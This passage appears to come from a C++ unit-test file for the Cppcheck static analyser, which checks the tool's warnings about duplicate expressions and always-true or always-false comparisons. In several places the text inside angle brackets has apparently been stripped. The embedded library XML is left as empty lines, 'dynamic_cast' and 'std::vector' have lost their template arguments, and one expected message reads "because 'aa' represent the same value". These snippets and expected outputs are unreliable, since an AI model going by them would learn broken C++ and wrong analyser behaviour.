of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > a+b' is always false because 'b+a' and 'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) {\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); };\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n \"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n 